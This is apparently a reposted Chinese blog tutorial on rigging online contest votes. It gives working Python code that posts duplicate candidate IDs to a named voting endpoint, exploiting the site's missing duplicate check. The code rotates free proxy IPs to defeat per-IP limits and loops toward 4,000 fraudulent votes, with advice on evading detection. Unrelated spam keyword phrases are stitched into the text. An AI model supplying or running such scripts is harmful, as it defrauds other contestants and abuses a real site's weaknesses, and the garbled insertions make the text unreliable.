刷投票插件原理揭秘:模拟人登录网站投票,轻松提升票数

2024-10-18
来源:网络整理

前言

如今,有些比赛为了宣传赞助商或者比赛本身,会要求参赛队伍在网上拉票,甚至票数会占成绩的一定比例。于是,刷票应运而生。这次我们队参加比赛,需要通过网络投票来确定前几名。作为技术人员,我们当然要“解决”技术能解决的问题,所以我们写了一个投票插件来刷刷。

原则

刷票的原理很简单。相当于模拟人登录网站投票。它只是对流程进行编程,让程序去网站上代表人们投票。具体来说,首先客户端(我们)向服务器(投票网站)发送请求(),告诉他们我们需要看他们网站上的信息,然后服务器会回复()给我们,我们将填写将好的表格发送给他们(),他们收到后会回复我们()。

主要内容 1.分析网站

由于每个网站需要提交的信息都不同,首先我们需要对目标网站进行相应的分析,找出其表单界面(即URL或网站地址)以及我们需要提交的信息。

1.1 收集信息

首先我们登录目标网站

使用 F12 打开审核元素,单击它,然后实际提交表单。

框架中的两个内容是我们需要了解的表单信息的一部分。

- URL:请求URL,我们提交的信息都会传递到这个URL

-:请求方法,我们提交的方法

下面有两个方框,分别框出两个不同的信息区域。它们的具体用途是什么?下面我们详细解释一下

-:请求头,当我们访问网站的时候,我们都需要提交一个请求头来证明我们不是爬虫,而是真正的访问,所以我们需要得到这个来假装我们不是爬虫。获取QQ好友列表

- 来自数据:这是我们要提交的数据。现在提交的数据都是以json格式提交的。根据这个信息写入我们需要提交的json数据即可。

以上是需要获取的基本信息。根据这些信息,我们可以编写一个刷票插件。但作为一个对自己有高标准、严要求的程序员,这样就够了吗?当然不是,我们要寻找这个提交过程中是否存在漏洞。

如何找到它?我分析了源码,搜索了一下,果然找到了!

可以看到,这里有两个致命的漏洞:

1. 允许3支或以上队伍参赛,不限制最大数量,只限制最小数量。

2、不过滤相同的数据。

这意味着我们可以一次提交数百、数千甚至数万个==相同的==数据。但我会吗?考虑到后果,肯定不行,因为没有人能在短时间内投出很多票。如果追查到的话,那不是很容易查出来吗?毕竟我们是模拟真实的微信投票,所以给自己投3次票就可以隐藏自己的功名了。

2. 表单提交

投票脚本微信用什么软件_微信投票刷投票脚本工作室_微信投票用脚本

好了,现在收集到的数据都整理好了,下面我们就开始编写提交表单的代码了。

2.1 使用的库

库官方技术文档

读一遍,一切操作就都没问题了。现在让我们编写代码!

2.2 构造表单信息

有了这个代码,就可以使用微信投票了。你快乐吗?

# 请求头信息 headers = { 'Accept': '*/*', 'Accept-Encoding': 'gzip', 'Accept-Language': 'zh-CN', 'Connection': 'keep-alive', 'Content-Length': '16', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'www.dingnf.com', 'Origin': 'http://www.dingnf.com', 'Referer': 'http://www.dingnf.com/active/wxws_s', 'User-Agent': 'Mozilla/4.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.3029.110 Safari/537.36', 'X-Requested-With': 'XMLHttpRequest' } # post表单网址 url = "http://www.dingnf.com/active/wxws_t" params = {'ids': ['22', '22', '22']} r = requests.post(url=url, data=params, headers=headers, proxies=proxies)

突然发现一个问题,只能提交一次!这是为什么?

3.构建代理IP池

大多数投票网站都会记录投票IP地址,以防止同一IP多次投票。那我该怎么办呢?我们可以模拟真实投票,但是IP地址不能改?更改IP地址是可以的,但是比较麻烦。我们有一个更简单的方法:使用代理服务器来爬取某个网站的内容。那么对方网站上显示的就不是我们的真实IP地址,而是代理服务器。 IP 地址,使用代理服务器设置很简单。微信获客

3.1 查找代理IP

这里推荐西索恩的免费代理IP。西刺值得拥有。

使用API​​可以快速获取我们需要的IP地址。当然,我们也可以制作一个爬虫来抓取其网站上的URL,这里不再赘述。

3.2 构建IP代理容器

由于从API获取的数据包含较多的换行符和回车符,不利于直接提取IP地址,因此我们先使用正则表达式直接提取所需信息,然后写入列表中,方便后续读取。

def WriteIPadress(): all_url = [] # 存储IP地址的容器 # 代理IP的网址 url = "http://api.xicidaili.com/free2016.txt" r = requests.get(url=url) all_url = re.findall("\d+\.\d+\.\d+\.\d+\:\d+",r.text) with open("D:\\code\\python\\new\\Brush ticket\\IP.txt",'w') as f: for i in all_url: f.write(i) f.write('\n') return all_url

四、主要功能

count = 0 # 计数器 while count < 4000: all_url = WriteIPadress() for i in all_url: proxies = {"http": i} try: r = requests.post(url=url, data=params, headers=headers, proxies=proxies) if(r.json()['flag'] == True): count += 1 print("成功投票%d次!" % (count)) print(r.json()) except Exception as reason: print("错误原因是:",reason)

由于部分IP地址存在问题,需要设置异常处理,以便程序能够正常运行。 API数据每15分钟更新一次。我们花费了大约相同的时间来浏览该列表,因此我们不做任何其他事情。处理了它。

运行日志

源代码

完整源代码

分享